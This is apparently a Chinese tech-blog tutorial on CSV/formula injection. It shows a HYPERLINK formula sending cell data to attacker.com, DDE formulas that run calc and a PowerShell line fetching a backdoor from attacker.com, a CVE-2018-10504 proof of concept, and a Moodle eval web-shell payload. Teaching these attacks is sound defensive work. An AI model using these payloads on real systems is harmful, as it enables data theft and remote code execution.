[Day15] CSV Injection(Formula Injection)

前言

写完一半了,洒花
你的使用的Sheet Application安全吗?

正文

概念

CSV是一个用逗号,取值的格式,适合用来作为大量资料在不同应用程序之间的资料交换。

而CSV Injection或称为Formula Injection的这种攻击技术,就是利用网站或相关应用程序允许用户将数据export成CSV又不对内容进行检查的攻击手法。攻击者可能会制作包含恶意内容的公式(Formula),这可能导致CSV Application执行这些恶意公式的时候,取得一般使用者的数据,甚至系统。

一种简单的想法是,在文件中嵌入恶意连结,例如在某个表格中写下:
=HYPERLINK("http://attacker.com?leak="&A1%B1","click me")
当一班使用者点击这个连结时,就会将A1和B1储存格的内容一并发送给攻击者所架设的web service。

或是另一种更为严重的手法,利用DDE(Dynamic Data Exchange)公式,就可以在Excel上执行命令,例如:
=cmd|' /C calc’!A1
就会导致用户Windows上的计算机被打开,而既然计算机被打开,自然就可以用来执行下载攻击者的架设的web service中的恶意程序(像是後门)。虽然OS和sheet application会在要执行这类命令时跳出通知,但完全可以想像有部分用户会直觉性的按下接受或忽略这个警告。
=cmd|'/C powershell IEX(wget http://attacker.com/backdoor.exe)'!A1
常用来进行CSV Injection的有

  • =
  • +
  • -
  • @

Case Study

CVE-2018-10504

这个漏洞是一个WordPress上的一个Plugin Form Maker。它提供了一个可以用Joomla用户客制化表单的框架,而且允许public user将命令作为表单的一部分进行注入,当有其他具有更高权限的使用者以CSV format export出资料,并且在电脑上打开这个文件时,就会执行攻击者写入的命令。
POC
@SUM(1+1)*cmd|' /C calc'!A0

CVE-2018-1133
Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)

这个例子其实跟这篇主题无关XD,只是因为它是在Formula的栏位中利用eval的注入。
Moodle允许教师自订测验,其中一个类型是计算类型的问题,这允许教师输入一个数学公式。

而因为moodle在这里使用eval进行运算评估,因此我们可以直接写入一个web shell:
/*{a*/`$_REQUEST[Craig]`;//{x}}


<<:  Day 15 — To Do List (1) 了解 HTML Service

>>:  【程序】在职进修 转生成恶役菜鸟工程师避免 Bad End 的 30 件事 - 17

D8 - 你不知道Combo : 甜点用一杯 Mojito 解释 直译器、编译器

前言 吃了前菜、主餐,没有饭後甜点怎麽可以呢! 你不知道 Combo 套餐系列最後一道,以一杯 Mo...

Day 19. v-bind - Class的绑定

在Vue中,如果我们需要绑定属性就可以用到v-bind,是不是有对这个指令有印象啊,我们在Day 1...

Spring Framework X Kotlin Day 6 Unit Test

GitHub Repo https://github.com/b2etw/Spring-Kotlin...

Day 29 | GitHub Pages 初体验

今天想分享一下如何上传自己的 GitHub Pages, 可以参考高见龙的 使用 GitHub 免费...

Raspberry pi 的GPIO_python小控制

前面我很轻描淡写的叙述了GPIO 说有28个GPIO可用 今天就实际来使用看看 我用Python小写...